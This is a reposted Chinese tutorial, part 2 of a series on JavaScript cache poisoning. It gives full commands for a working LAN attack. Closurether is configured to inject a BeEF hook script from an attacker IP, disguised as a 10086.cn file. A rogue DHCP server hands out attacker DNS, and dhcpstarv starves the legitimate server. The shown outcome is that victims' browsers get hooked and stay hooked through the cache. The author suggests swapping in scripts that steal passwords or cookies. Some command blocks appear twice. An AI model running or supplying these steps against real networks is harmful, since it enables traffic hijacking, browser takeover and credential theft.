JSON

Javascript缓存投毒技术分析(2)

字号+ 作者:H5之家 来源:H5之家 2015-11-05 08:03 我要评论( )

root@kali:~#cd/usr/local/lib/node_modules/closurether/tool/cache-sniffer root@kali:/usr/local/lib/node_modules/closurether/tool/cache-sniffer#phantomjssniffer.js root@kali:~# cd/usr/local/lib/node_mo

root@kali:~# cd /usr/local/lib/node_modules/closurether/tool/cache-sniffer
root@kali:/usr/local/lib/node_modules/closurether/tool/cache-sniffer#  phantomjs sniffer.js

root@kali:~# cd /usr/local/lib/node_modules/closurether/tool/cache-sniffer

root@kali:/usr/local/lib/node_modules/closurether/tool/cache-sniffer#  phantomjs sniffer.js

可以通过修改url.txt的内容来指定网站,此次测试过程中url中包含126以及360几个网站。 配置config.json文件如下:


{
        "hacker_url": "http://192.168.1.108:3000/hook.js",
        "inject_url": "http://10086.cn/js10086/201306301200.js",
        "debug": false,
        "dump": false,
        "dumpPath": "./dump/"
}

{

        "hacker_url": "http://192.168.1.108:3000/hook.js",

        "inject_url": "http://10086.cn/js10086/201306301200.js",

        "debug": false,

        "dump": false,

        "dumpPath": "./dump/"

}

其中hacker_url为我们的js地址,此处为beef的js地址,inject_url 为伪装的js地址。

运行closurether:


root@kali:~# closurether
[SYS] local ip: 192.168.1.108
[DNS] running 0.0.0.0:53
[WEB] listening :::80
[WEB] listening :::443

root@kali:~# closurether

[SYS] local ip: 192.168.1.108

[DNS] running 0.0.0.0:53

[WEB] listening :::80

[WEB] listening :::443

2.进行dhcp攻击:

下载dhcpstarv,安装:


root@kali:~/Desktop# tar zxvf dhcpstarv-0.2.1.tar.gz
root@kali:~/Desktop# cd dhcpstarv-0.2.1/
root@kali:~/Desktop/dhcpstarv-0.2.1# ./configure
root@kali:~/Desktop/dhcpstarv-0.2.1# make
root@kali:~/Desktop/dhcpstarv-0.2.1# make install

root@kali:~/Desktop# tar zxvf dhcpstarv-0.2.1.tar.gz

root@kali:~/Desktop# cd dhcpstarv-0.2.1/

root@kali:~/Desktop/dhcpstarv-0.2.1# ./configure

root@kali:~/Desktop/dhcpstarv-0.2.1# make

root@kali:~/Desktop/dhcpstarv-0.2.1# make install


Kali默认没有安装dhcpstarv,也可以用yersinia代替



安装dhcp服务器:

root@kali:~# apt-get install isc-dhcp-server

root@kali:~# apt-get install isc-dhcp-server

修改dhcp配置文件dhcpd.conf

root@kali:~# cd /etc/dhcp/
root@kali:/etc/dhcp# cp dhcpd.conf dhcpd.conf.bak
root@kali:/etc/dhcp# vim dhcpd.conf

root@kali:~# cd /etc/dhcp/

root@kali:/etc/dhcp# cp dhcpd.conf dhcpd.conf.bak

root@kali:/etc/dhcp# vim dhcpd.conf

修改DHCP分配的地址池,修改默认路由为原来路由的Ip,修改广播地址:

Alt text

设置dns为开启了closurether的地址,如下图:

这里最好加一个正常的DNS服务器地址最为备选,防止我们的DNS服务对部分域名不解析

开启操作系统的路由转发:

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

启动DHCP服务:


root@kali:/etc/dhcp# service isc-dhcp-server start

root@kali:/etc/dhcp# service isc-dhcp-server start

攻击正常的dhcp服务器,耗光ip资源:


root@kali:~# dhcpstarv -i eth0 -e 192.168.1.108

root@kali:~# dhcpstarv -i eth0 -e 192.168.1.108

-e参数后面跟攻击者的ip

Alt text

然后当有客户端连入的时候,由于正常的DHCP服务器已经没有可分配的IP资源,新的内网主机就会使用攻击者DHCP服务器分配的IP,如下图:

Alt text

可以看到DNS已经改成了我们想要改的地址。

这里说明下,如果可以直接进路由修改DNS,就直接进路由改,这样比较稳定,修改DNS为我们运行closurether的地址。

主要工具运行截图:

Alt text

这时,被篡改DNS的客户端浏览网站的时候,就会运行我们植入的JS脚本,打开126以后,可以看到beef那里已经成功上线了:

Alt text

而我们的js则已经被隐藏为10086的js

Alt text

将路由器重启,使用正常的DHCP为虚拟机分配ip地址,使用浏览器(未清理缓存)打开360:

Alt text

这时可以看到beef上又上线了:

Alt text



beef的功能很强大,但不是本文的重点,当然js也可以换成其他,别如窃取某些网站的账号密码的js,或者获取客户端cookie的等等,这里就不多说了


这样就达到了时光机的效果,虽然上网环境换了,但是由于浏览器的缓存没有清除,任然会执行我们的js,至此整个攻击完成。

从上面的整个过程可以得出的结论就是不要随意通过不认识的wifi上网!

 

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • JavaScript转换与解析JSON方法实例详解第1/2页

    JavaScript转换与解析JSON方法实例详解第1/2页

    2016-02-10 21:25

  • 未来编程的9大猜想:JavaScript不必亲自编写

    未来编程的9大猜想:JavaScript不必亲自编写

    2016-01-30 13:01

  • Objective-C与JavaScript交互的那些事

    Objective-C与JavaScript交互的那些事

    2016-01-30 13:00

  • 实用的javascript小技巧

    实用的javascript小技巧

    2016-01-25 19:05

网友点评
'